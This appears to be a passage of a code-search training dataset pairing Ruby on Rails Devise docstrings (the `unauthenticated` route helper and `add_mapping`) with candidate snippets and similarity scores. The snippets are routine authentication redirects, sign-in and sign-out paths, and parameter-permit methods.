"0.47908953",
"0.47825503",
"0.4778219",
"0.47729033",
"0.47729033",
"0.47710687",
"0.4767499",
"0.4767499",
"0.4767499",
"0.4767499",
"0.4767499",
"0.4767499",
"0.4767499",
"0.47545946",
"0.47395444",
"0.47386658",
"0.47381955",
"0.4730495",
"0.4730495",
"0.4730495",
"0.4730495",
"0.47254136",
"0.4723282",
"0.4713157",
"0.47096586",
"0.46898735",
"0.46898735",
"0.46765724",
"0.4674018",
"0.46679696",
"0.46669254",
"0.46523693",
"0.46513835",
"0.46501857",
"0.46474993",
"0.46419436",
"0.46321788",
"0.4627847",
"0.4604619",
"0.45999104",
"0.45986915",
"0.4582511",
"0.45819223",
"0.45772693",
"0.4576009",
"0.45753172",
"0.4574445",
"0.45700264",
"0.4569706",
"0.45693293",
"0.45568094",
"0.45559266",
"0.4555404",
"0.45505798",
"0.45487505",
"0.4544268",
"0.45388168"
] | 0.62605816 | 1 |
Allow you to route based on whether a scope is not authenticated. You can optionally specify which scope. unauthenticated do as :user do root to: 'devise/registrationsnew' end end root to: 'dashboardshow' source://devise//lib/devise/rails/routes.rb331 | def unauthenticated(scope = T.unsafe(nil)); end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def github_unauthenticated(scope=nil, options={}, &routes_block)\n github_constraint(scope, options, routes_block) do |warden, scope|\n not warden.authenticated?(scope: scope)\n end\n end",
"def not_authenticated\n # Make sure that we reference the route from the main app.\n redirect_to main_app.sign_in_path\n end",
"def unauthenticated(scope = nil)\n constraint = lambda do |request|\n not request.env[\"warden\"].authenticate? scope: scope\n end\n\n constraints(constraint) do\n yield\n end\n end",
"def not_authenticated\n # Make sure that we reference the route from the main app.\n redirect_to main_app.log_in_path\n end",
"def unauthenticated(scope=nil)\n constraint = lambda do |request|\n not request.env[\"warden\"].authenticate? scope: scope\n end\n\n constraints(constraint) do\n yield\n end\n end",
"def not_authenticated\n redirect_to root_path\n end",
"def not_authenticated\n redirect_to root_landing_url\n end",
"def require_no_authentication\n authenticate_scope!\n end",
"def unauthenticated\n end",
"def after_sign_out_path_for(resource_or_scope)\n current_user.online = false\n current_user.save\n root_path\n end",
"def after_sign_out_path_for(resource_or_scope)\n\n if ::Milia.signout_to_root\n root_path # return to index page\n else\n # or return to sign-in page\n scope = Devise::Mapping.find_scope!(resource_or_scope)\n send(:\"new_#{scope}_session_path\")\n end\n\n end",
"def require_no_authentication\n assert_is_devise_resource!\n return unless is_navigational_format?\n no_input = devise_mapping.no_input_strategies\n\n authenticated = if no_input.present?\n args = no_input.dup.push :scope => resource_name\n warden.authenticate?(*args)\n else\n warden.authenticated?(resource_name)\n end\n\n if authenticated && warden.user(resource_name)\n render json: { \n success: false,\n error: \"You already logged as #{ current_user.email }\"\n }\n end\n end",
"def require_no_authentication\n assert_is_devise_resource!\n return unless is_navigational_format?\n no_input = devise_mapping.no_input_strategies\n\n authenticated = if no_input.present?\n args = no_input.dup.push scope: resource_name\n warden.authenticate?(*args)\n else\n warden.authenticated?(resource_name)\n end\n\n if authenticated && resource = warden.user(resource_name)\n set_flash_message(:alert, 'already_authenticated', scope: 'devise.failure')\n redirect_to after_sign_in_path_for(resource)\n end\n end",
"def user_not_authorized\n flash[:alert] = I18n.t('pundit.default')\n redirect_to(request.referrer || authenticated_root_path || unauthenticated_root_path)\n end",
"def after_sign_in_path_for(resource_or_scope)\n resource_or_scope.is_a?(User) ? dashboard_root_path : root_path\n end",
"def after_sign_out_path_for(resource_or_scope)\n \tif resource_or_scope == :user\n\t\t\tadmin_login_path\n \telsif resource_or_scope == :advertiser\n \t\troot_path\n \tend\n end",
"def requires_registration\n redirect_to :root unless current_registration\n end",
"def require_no_authentication\n assert_is_devise_resource!\n return unless is_navigational_format?\n no_input = devise_mapping.no_input_strategies\n\n authenticated = if no_input.present?\n args = no_input.dup.push scope: resource_name\n warden.authenticate?(*args)\n else\n warden.authenticated?(resource_name)\n end\n\n if authenticated && resource = warden.user(resource_name)\n p \"user already signed in: \", warden.user\n p \"params: #{params}\"\n flash[:alert] = I18n.t(\"devise.failure.already_authenticated\")\n end\n end",
"def user_not_authorized\n redirect_to((request.referrer || root_path) ,notice: \"Authorization error.\")\n end",
"def after_inactive_sign_in_path_for(resource)\n :root\n end",
"def scope_path\n opts = {}\n route = :\"new_#{scope}_session_path\"\n alt_route = :\"new_#{scope}_ichain_session_path\"\n opts[:format] = request_format unless skip_format?\n\n config = Rails.application.config\n opts[:script_name] = (config.relative_url_root if config.respond_to?(:relative_url_root))\n\n context = send(Devise.available_router_name)\n\n if context.respond_to?(route)\n context.send(route, opts)\n elsif context.respond_to?(alt_route)\n context.send(alt_route, opts)\n elsif respond_to?(:root_path)\n root_path(opts)\n else\n \"/\"\n end\n end",
"def after_sign_in_path_for(resource_or_scope)\n return '/admin/' if !resource_or_scope.blank? && resource_or_scope.is_a?(Admin)\n super\n end",
"def after_sign_out_path_for resource_or_scope\n scope_name = Devise::Mapping.find_scope!(resource_or_scope)\n\n if scope_name == :user_eco\n eco_root_path\n elsif scope_name == :user_efi\n efi_root_path\n elsif scope_name == :admin\n puntos_point_root_path\n else\n 'http://puntospoint.com'\n end\n end",
"def require_no_authentication\n if warden.authenticated?(:account) && warden.user(:account)\n flash[:alert] = I18n.t(\"devise.failure.already_authenticated\")\n redirect_to root_path\n end\n end",
"def after_sign_out_path_for(resource_or_scope)\n if resource_or_scope == :admin\n admin_home_path\n elsif resource_or_scope == :agent\n agent_home_path\n else\n root_path\n end\n end",
"def only_for_anonymous\n redirect_to root_path if session[:username]\n end",
"def auth_options\n { scope: resource_name, recall: \"#{controller_path}#unauthorized\" }\n end",
"def after_sign_out_path_for(resource_or_scope)\n if resource_or_scope == :user\n subscriptions_path\n elsif resource_or_scope == :admin\n new_admin_session_path\n else\n root_path\n end\n end",
"def after_sign_out_path_for(resource_or_scope)\n if resource_or_scope == :admin\n new_admin_session_path\n # elsif resource_or_scope == :user\n # new_user_session_path\n else\n root_path\n end\n end",
"def not_authenticated\n\t\tredirect_to new_session_path, :alert => \"Please login first.\"\n\tend",
"def signed_in_root_path(resource_or_scope)\n if session[:return_to]\n return session.delete(:return_to)\n elsif resource_or_scope.is_a?(User) && resource_or_scope.teacher?\n return teacher_dashboard_url\n end\n '/'\n end",
"def after_sign_in_path_for(resource_or_scope)\n if resource_or_scope.is_a?(User) && resource_or_scope.banned?\n sign_out resource_or_scope\n banned_index_path\n elsif session[:pre_sign_in_path] && session[:pre_sign_in_path] != birthyear_path || session[:pre_sign_in_path] != new_user_session_path\n session[:user_return_to] || (session[:pre_sign_in_path] if session[:pre_sign_in_path] != birthyear_path ) || root_path\n elsif request.env['omniauth.origin'] && request.env['omniauth.origin'] != new_user_session_path || request.env['omniauth.origin'] != birthyear_path\n session[:user_return_to] || (session[:pre_sign_in_path] if session[:pre_sign_in_path] != birthyear_path ) || request.env['omniauth.origin'] || root_path\n else\n root_path\n end\n end",
"def not_authenticated\n redirect_to login_path, alert: \"Please login to access that page\"\n end",
"def after_sign_out_path_for(resource_or_scope)\n if @nuevo_usuario == 1\n new_user_registration_path\n else\n root_path\n end\n end",
"def no_routes\n end",
"def require_no_authentication_or_app_jwt\n assert_is_devise_resource!\n return unless is_navigational_format?\n\n no_input = devise_mapping.no_input_strategies\n\n authenticated = if no_input.present?\n args = no_input.dup.push scope: resource_name\n warden.authenticate?( *args )\n else\n warden.authenticated?( resource_name )\n end\n\n if authenticated &&\n ( resource = warden.user( resource_name ) ) &&\n # This is the only different bit\n !resource&.anonymous?\n set_flash_message( :alert, \"already_authenticated\", scope: \"devise.failure\" )\n redirect_to after_sign_in_path_for( resource )\n end\n end",
"def redirect_non_admins_to\n \"/\"\n end",
"def user_not_authorized\n flash[:danger] = \"Access denied.\"\n redirect_to (request.referrer || root_path)\n end",
"def authenticated_path\n dashboard_path\n end",
"def after_sign_out_path_for(resource_or_scope)\n \t\t\troot_path\n \t\t end",
"def authorize\n redirect_to '/login' unless current_user\n end",
"def after_sign_in_path_for(resource_or_scope)\n flash[:notice] = \"\"\n authenticated_root_url\n end",
"def after_sign_out_path_for(resource_or_scope)\n \tif resource_class == SuperAdmin\n \t\tsuper_admin_dashboard_path\n \telse\n \troot_path\n\tend\n end",
"def user_not_authorized\n flash[:alert] = t('messages.non_authorized_action')\n redirect_to(request.referrer || root_path)\n end",
"def authorize\n redirect_to :login unless user_signed_in?\n end",
"def require_auth\n redirect_to login_path unless authenticated?\n end",
"def reject_signed_in_user\n redirect_to root_path if user_signed_in?\n end",
"def no_permission\n flash[:danger] = 'You do not have sufficient permission to access this page.'\n redirect_back fallback_location: '/'\n end",
"def authorize_unauthenticated_user\n target_action = params[:controller] + '#' + params[:action]\n unless User::DEFAULT_PERMISSIONS.include?(target_action)\n head :unauthorized and return\n end\n end",
"def require_logout\n redirect_to user_path(current_user) if logged_in?\n end",
"def user_not_authorized\n flash[:alert] = \"Access denied.\"\n redirect_to (request.referrer || root_path)\n end",
"def unauthorized_redirect\n unless current_user\n redirect_to new_user_session_path\n end\n end",
"def authorize_routing(session)\n true\n end",
"def after_sign_out_path_for(resource_or_scope)\n root_path\n end",
"def do_not_check_authorization?\n respond_to?(:devise_controller?) ||\n respond_to?(:home_controller?)\n end",
"def after_sign_in_path_for(resource)\n # resource.admin? ? rails_admin.dashboard_path : root_path\n root_path\n end",
"def after_sign_out_path_for(resource_or_scope)\n if resource_or_scope == :user\n new_user_session_path\n elsif resource_or_scope == :admin\n new_admin_session_path\n else\n root_path\n end\n end",
"def after_sign_out_path_for(resource_or_scope)\n return admin_root_path if resource_or_scope == :admin\n root_path if resource_or_scope == :user\n end",
"def non_logged_user\n respond_to do |format|\n format.html { redirect_to login_path, alert: \"faça login\" }\n end if !logged_in?\n end",
"def after_sign_out_path_for(resource_or_scope)\n root_path\n end",
"def authorize\n redirect_to('/login') unless @current_user\n end",
"def authorize!\n redirect '/' unless logged_in?\n end",
"def redirect_unauthorized!\n redirect_to not_authorized_path\n end",
"def require_no_authentication\n\t\tif params[:in_blog].present?\n\t\t\tflash[:after_sign_in_path_override] = in_blog_edit_subscriptions_path\n\t\telsif params[:nlsub].present?\n\t\t\tflash[:after_sign_in_path_override] = edit_subscriptions_path\n\t\tend\n\t\tsuper\n\tend",
"def after_sign_out_path_for(resource_or_scope)\n if resource_or_scope == :customer\n root_path\n elsif resource_or_scope == :admin\n new_admin_session_path\n else\n root_path\n end\n end",
"def after_sign_in_path_for(resource_or_scope)\n dashboards_path\n end",
"def after_sign_out_path_for(resource_or_scope)\n if resource_or_scope == :user\n new_user_session_path\n else\n root_path\n end\n end",
"def after_sign_in_path_for(resource_or_scope)\n dashboard_index_path\n end",
"def after_sign_out_path_for(resource_or_scope)\n \tlogin_path\n \tend",
"def access_denied\n redirect '/login'\n end",
"def require_no_authentication\n result = handle_crossdomain_devise\n super if result && result.action == :noop\n end",
"def after_sign_out_path_for(resource_or_scope)\n flash[:logout] = true\n root_path\n end",
"def require_no_authentication\n end",
"def after_sign_out_path_for(resource_or_scope)\n if resource_or_scope == :admin\n new_admin_session_path\n else\n root_path\n end\n end",
"def user_not_authorized\n flash[:warning] = \"You are not authorized to perform this action.\"\n redirect_to(request.referrer || root_path)\n end",
"def after_sign_out_path_for(resource_or_scope)\r\n '/'\r\n end",
"def after_sign_in_path_for(resource_or_scope)\n if resource_or_scope == :user\n dash_user_path(:user)\n elsif resource_or_scope == :admin\n new_admin_session_path\n else\n root_path\n end\n end",
"def available_to(who)\n case who\n when 'logged_in' then redirect_to root_path if !current_user\n when 'logged_out' then redirect_to home_path if current_user\n end\n end",
"def after_sign_up_path_for(resource_or_scope)\n resource_or_scope.is_a?(User) ? dashboard_root_path : root_path\n end",
"def after_sign_out_path_for(resource_or_scope)\n '/'\n end",
"def after_sign_out_path_for(resource_or_scope)\n '/'\n end",
"def after_sign_in_path_for(resource)\n dashboard_path || super\n end",
"def authorize\n redirect_to '/login' unless current_user\n end",
"def authorize\n redirect_to '/login' unless current_user\n end",
"def authorize\n redirect_to '/login' unless current_user\n end",
"def authorize\n redirect_to '/login' unless current_user\n end",
"def authorize\n redirect_to '/login' unless current_user\n end",
"def authorize\n redirect_to '/login' unless current_user\n end",
"def authorize\n redirect_to '/login' unless current_user\n end",
"def authorize\n redirect_to '/login' unless current_user\n end",
"def after_omniauth_failure_path_for(scope)\n super(scope)\n end",
"def after_sign_out_path_for(resource_or_scope)\n \troot_path\n end",
"def after_sign_out_path_for(_resource_or_scope)\n '/'\n end",
"def after_sign_out_path_for(resource_or_scope)\r\n login_path\r\n end",
"def after_sign_out_path_for(scope)\n scope == :staff ? staff_root_path : users_root_path\n end",
"def Usuario_noLogueado\n redirect_to(root_url) unless logged_in?\n end",
"def access_denied\n redirect_to signin_url\n end",
"def after_sign_in_path_for(resource_or_scope)\n return \"/admin\"\n end",
"def route(scope)\n :root_path\n end",
"def unauthorized_room_redirect\n unless (current_user.rooms.include? @room) || (@room.admin == current_user) \n respond_to do |format|\n format.html { redirect_to rooms_url, notice: \"You are not authorized to access that room.\" }\n format.json { head :no_content }\n end\n end\n end"
] | [
"0.71268034",
"0.6713842",
"0.6662983",
"0.6655149",
"0.66442287",
"0.65960336",
"0.64886487",
"0.62503827",
"0.618027",
"0.61723006",
"0.61516523",
"0.6122844",
"0.61094546",
"0.6083837",
"0.60800225",
"0.60374266",
"0.5994432",
"0.5964719",
"0.5963091",
"0.5927666",
"0.5914928",
"0.59099066",
"0.5892135",
"0.5869497",
"0.58665115",
"0.58577895",
"0.58459276",
"0.5797948",
"0.57785356",
"0.57638204",
"0.5763025",
"0.5751033",
"0.5740622",
"0.57357985",
"0.57336825",
"0.5728923",
"0.5715492",
"0.56976104",
"0.56917983",
"0.568025",
"0.5677872",
"0.5677382",
"0.56687707",
"0.5668756",
"0.56642807",
"0.56584036",
"0.56562465",
"0.5648534",
"0.56430644",
"0.56430054",
"0.564255",
"0.5639687",
"0.563381",
"0.56290466",
"0.56276524",
"0.56266433",
"0.5624695",
"0.56203413",
"0.5620191",
"0.56121457",
"0.56065047",
"0.5604884",
"0.55924976",
"0.55924517",
"0.55916506",
"0.5590542",
"0.55904543",
"0.5590449",
"0.55843264",
"0.5582572",
"0.5571132",
"0.55511737",
"0.5548068",
"0.55461633",
"0.5544332",
"0.55413496",
"0.554123",
"0.5537239",
"0.5536958",
"0.55324113",
"0.55324113",
"0.5531794",
"0.55309653",
"0.55309653",
"0.55309653",
"0.55309653",
"0.55309653",
"0.55309653",
"0.55309653",
"0.55309653",
"0.5529135",
"0.5522157",
"0.5522009",
"0.55154395",
"0.55136526",
"0.5512126",
"0.55113125",
"0.550751",
"0.5505618",
"0.5505074"
] | 0.61222196 | 12 |
Small method that adds a mapping to Devise. source://devise//lib/devise.rb360 | def add_mapping(resource, options); end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def devise_mappings; end",
"def devise_mapping\n @devise_mapping ||= Devise.mappings[:user]\n end",
"def devise_mapping\n @devise_mapping ||= Devise.mappings[:user]\n end",
"def devise_mapping\n @devise_mapping ||= Devise.mappings[:user]\n end",
"def devise_mapping\n @devise_mapping ||= request.env[\"devise.mapping\"]\n end",
"def devise_ip_authentications(mapping, controllers)\n resource :ip_authentications, only: [:new], path: mapping.path_names[:ip_authentications],\n controller: controllers[:ip_authentications]\n end",
"def resource_name\n devise_mapping.name\n end",
"def devise_ip_authentication(mapping, controllers)\n resource :ip_authentication, only: %i(show), path: mapping.path_names[:ip_authentication],\n controller: controllers[:ip_authentications]\n end",
"def resource_class\n devise_mapping.to\n end",
"def devise_parameter_sanitizer; end",
"def devise_modules_hook!; end",
"def devise_controller?; end",
"def add_devise_route # :nodoc:\n devise_route = <<-ROUTE\n\n devise_for :users,\n path: '',\n path_names: {\n :sign_in => 'login',\n :sign_out => 'logout',\n :sign_up => 'create',\n :password => 'reset_password',\n :confirmation => 'confirm_user',\n :registration => 'account'\n }\n ROUTE\n inject_into_file \"config/routes.rb\",\n devise_route,\n after: %r{Application\\.routes\\.draw do\\n}\n end",
"def map_openid_registration(registration)\n self.login = registration[\"nickname\"] unless registration[\"nickname\"].blank?\n self.email = registration[\"email\"] unless registration[\"email\"].blank?\n end",
"def devise_i18n_options(options)\n options[:scope] = \"devise.registrations\"\n options\n end",
"def devise_verification_code(mapping, controllers)\n resource :paranoid_verification_code, :only => [:show, :update], :path => mapping.path_names[:verification_code], :controller => controllers[:paranoid_verification_code]\n end",
"def model_to_registration_mapping\n #{:model => 'server'}\n {:name => 'fullname', :email => 'email'}\n end",
"def permit_invite_code\n devise_parameter_sanitizer.for(:sign_up) << :invite_code\n end",
"def devise_autosignin(mapping, controllers)\n get \"/:#{mapping.name}_id/autosignin/:autosignin_token\",\n controller: controllers[:autosignin],\n action: 'create',\n as: :autosignin\n end",
"def devise_autosigninable(mapping, controllers)\n match \"/:#{mapping.name}_id/autosignin/:autosignin_token\" => 'devise/autosignin#create',\n :as => \"autosignin\", :via => :get\n end",
"def configure_sign_up_params\n devise_parameter_sanitizer.permit(:sign_up, keys: [:username, :fname, :lname, :avatar, :bio, :street, :city, :state, :country, :lat, :lng])\n end",
"def configure_permitted_parameters\n devise_parameter_sanitizer.permit(:user, keys: [:longitude, :latitude])\n #devise_parameter_sanitizer.permit(:user, keys: [:longitude, :latitude])\n #devise_parameter_sanitizer.permit(:sign_in, keys: [:longitude, :latitude])\n end",
"def apply_devise_schema(name, type, options={})\n raise NotImplementedError\n end",
"def configure_sign_up_params\n devise_parameter_sanitizer.permit(:sign_up, keys: [{ name_translations: [:en, :zh_HK] }, :display_name, :gender, :birthday, :mobile, :cuid_type, :cuid, :cu_resident, :major, :year_of_admission, :year_of_graduation])\n end",
"def local_field_to_ad field_name\n @local_to_ad_map ||= ::Devise.ad_attr_mapping[devise_model_name.to_sym]\n return (@local_to_ad_map.has_key? field_name) ? @local_to_ad_map[field_name] : field_name\n end",
"def map_auth_token(key, auth_token)\n @username_auth_tokens[secure_auth_token_key(key)] = auth_token\n end",
"def translate(mapping, key)\n I18n.t(:\"#{mapping.name}.#{key}\", :scope => [:devise, :mailer], :default => key)\n end",
"def devise_scope(scope); end",
"def permission_mapping\n super.merge(\n {\n 'index_role_screen' => 'index',\n 'index_role_field' => 'index',\n 'index_user_screen' => 'index',\n 'index_user_field' => 'index',\n 'fetch_row' => 'index'\n }\n )\n end",
"def map_logingov_to_idme\n if @current_user.identity.sign_in[:service_name].include? 'LOGINGOV'\n Rails.logger.info('LOGINGOV getting remapped!!') # REMOVE THIS ONCE LOGINGOV IS CONFIRMED WORKING CORRECTLY\n @current_user.identity.sign_in[:service_name] = 'oauth_IDME'\n end\n end",
"def configure_permitted_parameters\n devise_parameter_sanitizer.permit(:sign_up, keys: [:nickname, :family_name, :first_name, :kana_family_name, :kana_first_name, :birthday, :postal_code, :prefecture_id, :city, :street_address, :building, :phone_number, :shoe_size])\n end",
"def customize_en_us_dictionary(dict)\n dict.add('admin')\n dict.add('admin_authenticator')\n dict.add('apps')\n dict.add('Authy')\n dict.add('cancelled')\n dict.add('captcha')\n dict.add('code_verifier')\n dict.add('COVID-19')\n dict.add('HTTPS')\n dict.add('ltr')\n dict.add('OAuth')\n dict.add('OAuth2')\n dict.add('org')\n dict.add('pkce')\n dict.add('pre-authorization')\n dict.add('resource_owner_authenticator')\n dict.add('resource_owner_from_credentials')\n dict.add('S256')\n dict.add('saraalert')\n dict.add('SMS')\n dict.add('SSL')\n dict.add('UID')\n dict.add('unconfigured')\n dict.add('uri')\n dict.add('urls')\n dict.add('webpage')\n end",
"def autosigninable(routes, mapping)\n routes.autosignin \"/:#{mapping.name.to_s}_id/autosignin/:autosignin_token\", :controller => 'devise/autosignin', :action => 'create', :conditions => { :method => :get }\n end",
"def configure_permitted_parameters\n \tdevise_parameter_sanitizer.permit(:sign_up, keys: %i[first_name last_name username technology_id secondary_technology])\n end",
"def configure_sign_in_params\n devise_parameter_sanitizer.for(:sign_in).push(:username, :login, :domain)\n end",
"def apply_devise_schema(name, type, options={})\n return unless Devise.apply_schema\n property name, :cast_as => type\n end",
"def mapping; end",
"def mapping; end",
"def configure_permitted_parameters\n # For additional fields in app/views/devise/registrations/new.html.erb\n devise_parameter_sanitizer.permit(:sign_up, keys: [:nickname])\n end",
"def map_openid_registration_with_persona_fields(registration)\n self.nickname ||= registration[\"nickname\"] if respond_to?(:nickname) && !registration[\"nickname\"].blank?\n self.login ||= registration[\"nickname\"] if respond_to?(:login) && !registration[\"nickname\"].blank?\n self.email ||= registration[\"email\"] if respond_to?(:email) && !registration[\"email\"].blank?\n self.name ||= registration[\"fullname\"] if respond_to?(:name) && !registration[\"fullname\"].blank?\n self.first_name ||= registration[\"fullname\"].split(\" \").first if respond_to?(:first_name) && !registration[\"fullname\"].blank?\n self.last_name ||= registration[\"fullname\"].split(\" \").last if respond_to?(:last_name) && !registration[\"fullname\"].blank?\n self.birthday ||= registration[\"dob\"] if respond_to?(:birthday) && !registration[\"dob\"].blank?\n self.gender ||= registration[\"gender\"] if respond_to?(:gender) && !registration[\"gender\"].blank?\n self.postcode ||= registration[\"postcode\"] if respond_to?(:postcode) && !registration[\"postcode\"].blank?\n self.country ||= registration[\"country\"] if respond_to?(:country) && !registration[\"country\"].blank?\n self.language ||= registration[\"language\"] if respond_to?(:language) && !registration[\"language\"].blank?\n self.timezone ||= registration[\"timezone\"] if respond_to?(:timezone) && !registration[\"timezone\"].blank?\n end",
"def configure_permitted_parameters\n devise_parameter_sanitizer.permit(:sign_up, keys: [:name, :age, :gender, :location, :institution, :designation])\n end",
"def configure_permitted_parameters\n devise_parameter_sanitizer.permit(:sign_up, keys: [:family_name, :first_name, :family_name_kana, :first_name_kana, addresses_attributes: [:post, :a_address, :phone, :pulldown_name]] )\n end",
"def map_openid_registration(registration) # :doc:\n registration.symbolize_keys!\n [self.class.openid_required_fields+self.class.openid_optional_fields].flatten.each do |field|\n setter=\"#{field.to_s}=\".to_sym\n if respond_to?(setter)\n send setter,registration[field]\n end\n end\n end",
"def map_openid_registration(registration) # :doc:\n registration.symbolize_keys!\n [self.class.openid_required_fields+self.class.openid_optional_fields].flatten.each do |field|\n setter=\"#{field.to_s}=\".to_sym\n if respond_to?(setter)\n send setter,registration[field]\n end\n end\n end",
"def configure_sign_in_params\n devise_parameter_sanitizer.permit(:sign_in, keys: [:attribute])\n end",
"def configure_sign_in_params\n devise_parameter_sanitizer.permit(:sign_in, keys: [:email, :password])\n end",
"def configure_permitted_parameters\n # Devise implementation of Strong Params\n # keys is an array of symbols\n devise_parameter_sanitizer.permit(:sign_up, keys: %i[nickname])\n end",
"def configure_permitted_parameters\n user_data = [:alias]\n\n devise_parameter_sanitizer.permit(:sign_up, keys: user_data)\n devise_parameter_sanitizer.permit(:account_update, keys: user_data)\n end",
"def devise(*modules)\n # hack to get around Neo4j's requirement to index before uniqueness validation\n index :email, :type => :exact if modules.include?(:validatable)\n super\n end",
"def configure_sign_up_params\n devise_parameter_sanitizer.permit(:sign_up, keys: [:email, :created_at, :updated_at, :telefono, :sucursalt_id, :tipousuariot_id, :activo, :consorciot_id, :sucursalbt, :siglas, :direccion, :ciudadt_id, :provinciat_id, :zonat_id, :vendedor, :contacto, :supervisort_id, :colectort_id, :sociot_id, :gppt_id])\n end",
"def configure_permitted_parameters\n devise_parameter_sanitizer.permit(:sign_up, keys: [:family_name, :first_name, :family_name_kana, :first_name_kana, :postal_code, :address, :phone_number, :is_deleted])\n end",
"def configure_permitted_parameters\n devise_parameter_sanitizer.permit(:sign_up, keys: %i[pseudo email password password_confirmation])\n end",
"def user_key\n send(Devise.authentication_keys.first)\n end",
"def user_key\n send(Devise.authentication_keys.first)\n end",
"def map_user(keycloak_user, options)\n # FIRST_NAME,LAST_NAME,EMAIL,USERNAME,EMAIL_VERIFIED,ID,PASSWORD,SALT,HASHITERATIONS,ALGORITHM,CREATED_TIMESTAMP,REALM_ID\n\n user = {}\n\n # Optionally convert user_id to a UUID for FusionAuth\n if $map_user_id\n user['id'] = keycloak_user['ID']\n end\n\n user['active'] = true\n\n if keycloak_user['EMAIL'] != \"NULL\"\n user['email'] = keycloak_user['EMAIL']\n end\n\n # this is \\0 if false, everything else is true\n user['verified'] = keycloak_user['EMAIL_VERIFIED'] != \"\\\\0\"\n\n # apparently every keycloak user has a username\n user['username'] = keycloak_user['USERNAME']\n\n if keycloak_user['FIRST_NAME'] != \"NULL\"\n user['firstName'] = keycloak_user['FIRST_NAME']\n end\n\n if keycloak_user['LAST_NAME'] != \"NULL\"\n user['lastName'] = keycloak_user['LAST_NAME']\n end\n\n # Incoming format is a timestamp\n user['insertInstant'] = keycloak_user['CREATED_TIMESTAMP']\n\n user['encryptionScheme'] = map_hashing_algorithm(keycloak_user['ALGORITHM'])\n user['factor'] = keycloak_user['HASHITERATIONS']\n user['salt'] = keycloak_user['SALT']\n user['password'] = keycloak_user['PASSWORD']\n\n # Preserve the Unique Id\n user['data'] = {}\n user['data']['keycloak'] = {}\n user['data']['keycloak']['id'] = keycloak_user['ID']\n user['data']['keycloak']['tenant'] = keycloak_user['REALM_ID']\n\n if options[:appids]\n regids = options[:appids].split(',')\n user['registrations'] = []\n regids.each do |rid|\n application_registration = {\n applicationId: rid.strip()\n }\n user['registrations'].push(application_registration)\n end\n end\n\n puts user\n\n return user\nend",
"def configure_permitted_parameters\n devise_parameter_sanitizer.permit(:sign_up, keys: [:business_name, :phone, :website, :first_name, :last_name])\n end",
"def configure_sign_up_params\n devise_parameter_sanitizer.permit(:sign_up, keys: [:zip, :address, :phone, :last_name, :first_name, :last_name_kana, :first_name_kana])\n end",
"def configure_sign_up_params\n # devise_parameter_sanitizer.permit(:sign_up, keys: [:attribute])\n devise_parameter_sanitizer.permit(:sign_up, keys: [:email, :password, :password_confirmation, :current_password, :names, :surnames, :area_of_residence_id, :area_of_interest_id])\n end",
"def map_logingov_to_idme\n if @current_user.identity.sign_in[:service_name].include? 'LOGINGOV'\n @current_user.identity.sign_in[:service_name] = 'oauth_IDME'\n end\n end",
"def configure_sign_up_params\n devise_parameter_sanitizer.permit(:sign_up, keys: [:last_name, :first_name, :last_name_kana, :first_name_kana, :zip, :address, :phone])\n end",
"def configure_perimitted_parameters\n devise_parameter_sanitizer.permit(:sign_up, keys:[:fname, :lname, :username, :seller])\n devise_parameter_sanitizer.permit(:account_update, keys:[:fname, :lname, :username, :seller])\n end",
"def configure_permitted_pramaters\n \tdevise_perameter_sanitizer.for(:sign_up) do |u|\n \t\tu.permit(\n \t\t\t:email,\n \t\t\t:name,\n \t\t\t:password,\n \t\t\t:password_confirmation\n \t\t\t)\n end\n\n devise_perameter_sanitizer.for(:account_update) do |u|\n \tu.permit(\n \t\t:current_password\n \t\t:email,\n \t\t:name,\n \t\t:password,\n \t\t:password_confirmation\n \t\t)\n end\n end",
"def configure_permitted_parameters\n devise_parameter_sanitizer.permit(:sign_up, keys: [:locale, :name, :email])\n # devise_parameter_sanitizer.permit(:sign_in, keys: [:locale]) n/n\n devise_parameter_sanitizer.permit(:account_update, keys: [:locale, :name, :email])\n # logger.info \"INFO: did > configure_permitted_parameters\"\n end",
"def restricted_map(callbacks); end",
"def fetch_details_from_devise\n self.username = 'devise_user'\n self.save\n end",
"def configure_permitted_parameters\n devise_parameter_sanitizer.permit(:sign_in, keys: %i[login username password])\n devise_parameter_sanitizer.permit(:sign_up, keys: %i[username email password password_confirmation])\n devise_parameter_sanitizer.permit(:account_update, keys: %i[username email password password_confirmation])\n end",
"def configure_sign_in_params\n devise_parameter_sanitizer.for(:sign_in) << :mobile_auth_code\n end",
"def map_user_from_ad(ad_user)\n self.ad_map.each do |user_object_field, ad_object_field| \n self.send(\"#{user_object_field}=\", ad_user.send(ad_object_field).to_s)\n end\n self.ad_user = ad_user\n end",
"def configure_permitted_parameters\n devise_parameter_sanitizer.permit(:sign_up, keys: [\n :first_name,\n :last_name,\n :street,\n :apartment_number,\n :city,\n :state,\n :zip_code,\n :phone,\n :email,\n :password])\n devise_parameter_sanitizer.permit(:account_update, keys: [\n :first_name,\n :last_name,\n :street,\n :apartment_number,\n :city,\n :state,\n :zip_code,\n :phone,\n :email,\n :password,\n :current_password])\n end",
"def configure_permitted_parameters\n devise_parameter_sanitizer.permit(:invite, keys: [:email, :role, :grade])\n end",
"def configure_permitted_parameters\n devise_parameter_sanitizer.for(:sign_up) { |u| u.permit(:dealer_code,\n :password,\n :password_confirmation,\n :remember_me) }\n devise_parameter_sanitizer.for(:sign_in) { |u| u.permit(:dealer_code,\n :password,\n :remember_me) }\n end",
"def configure_permitted_parameters\n devise_parameter_sanitizer.permit(:sign_up, keys: [:name, :cpf, :user_type, phone_number_attributes: [:user_id, :phone_number]])\n devise_parameter_sanitizer.permit(:edit, keys: [:name, :cpf, :user_type, phone_number_attributes: [:user_id, :phone_number]])\n end",
"def configure_permitted_parameters\n devise_parameter_sanitizer.permit(:sign_up) { |u| u.permit(:name, :email, :password, :address, :city, :postal_code, :province, :province_id) }\n\n devise_parameter_sanitizer.permit(:account_update) { |u| u.permit(:name, :email, :password, :current_password) }\n end",
"def configure_permitted_parameters\n devise_parameter_sanitizer.for(:sign_up) { |u| u.permit(:email, :username, :first_name, :last_name, :birthday, :password, :password_confirmation, :remember_me) }\n devise_parameter_sanitizer.for(:sign_in) { |u| u.permit(:login, :username, :email, :password, :remember_me) }\n devise_parameter_sanitizer.for(:account_update) { |u| u.permit(:username, :email, :first_name, :last_name, :age, :country_code, :language_first, :language_second, :sex, :address, :birthday, :password, :password_confirmation, :current_password) }\n end",
